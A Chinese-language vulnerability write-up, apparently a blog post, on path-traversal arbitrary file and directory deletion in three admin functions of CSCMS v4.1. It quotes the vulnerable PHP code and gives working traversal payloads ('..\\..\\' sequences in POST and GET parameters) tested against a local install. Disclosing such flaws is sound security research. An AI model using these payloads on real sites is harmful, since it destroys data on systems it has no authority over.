環境搭建：

CSCMS ：http://www.chshcms.com/

網站原始碼版本：Cscms_v4.1正式版（釋出日期：2017-06-05）

程式原始碼下載：https://github.com/chshcms/cscms

漏洞例項一：

漏洞檔案位置：\cscms\plugins\sys\admin\Basedb.php  第160-177行：

         public function del(){

                   $dir = $this->input->get_post('id',true);

                   if(empty($dir)){

                            getjson(L('plub_11'));

                   }

                   $dirs = array();

                   if(!is_array($dir)){

                            $dirs[] = $dir;

                   }else{

                            $dirs = $dir;

                   }

                   foreach($dirs as $dir) {

            deldir(FCPATH.'attachment/backup/'.$dir);

                   }

                   $info['msg'] = L('plub_12');

                   $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999);

        getjson($info,0);

         }

漏洞利用：

1、  根目錄下新建test目錄作為測試：

2、  構造引數成功刪除test目錄

http://127.0.0.1/admin.php/basedb/del

POST:id=..\\..\\test

漏洞例項二：

漏洞檔案位置：/plugins/sys/admin/Skin.php 第418--440行：

         public function del(){

        $ac = $this->input->get('ac',true);

        $op = $this->input->get('op',true);

        $dir = $this->input->get('dirs',true);

        $file = $this->input->get('file');

                   if($ac!='mobile') $ac='pc';

                   if($op!='home' && $op!='user') $op='skins';

                   if(empty($dir)) getjson(L('plub_27'));

        $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file;

                   if (!is_dir($skin_dir)) {  //檔案

              $res=unlink($skin_dir);

                   }else{  //目錄

              $res=deldir($skin_dir);

                   }

                   if($res){

            $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999);

            $info['msg'] = L('plub_46');

            $info['turn'] = 1;

            getjson($info,0);

                   }else{

            getjson(L('plub_28'));

                   }

漏洞利用：

網站根目錄下新建1.txt檔案作為測試，構造URL成功刪除檔案

Payload：http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt

漏洞例項三：

漏洞檔案位置：/plugins/sys/admin/Plugins.php 第285-299行：

         public function del(){

             $dir = $this->input->get_post('dir',true);

             if($dir==''){

                      getjson(L('plub_del_0'),1);

             }

        deldir(FCPATH.'plugins'.FGF.$dir.FGF);

                   //刪除配置目錄

        deldir(CSCMS.$dir.FGF);

                   //刪除模板目錄

        deldir(FCPATH.'tpl/admin/'.$dir.FGF);

        $info['func'] = __FUNCTION__;

        $info['msg'] = L('plub_del_1');

        getjson($info,0);

         }

漏洞利用：

最後

歡迎關注個人微信公眾號：Bypass--，每週原創一篇技術乾貨。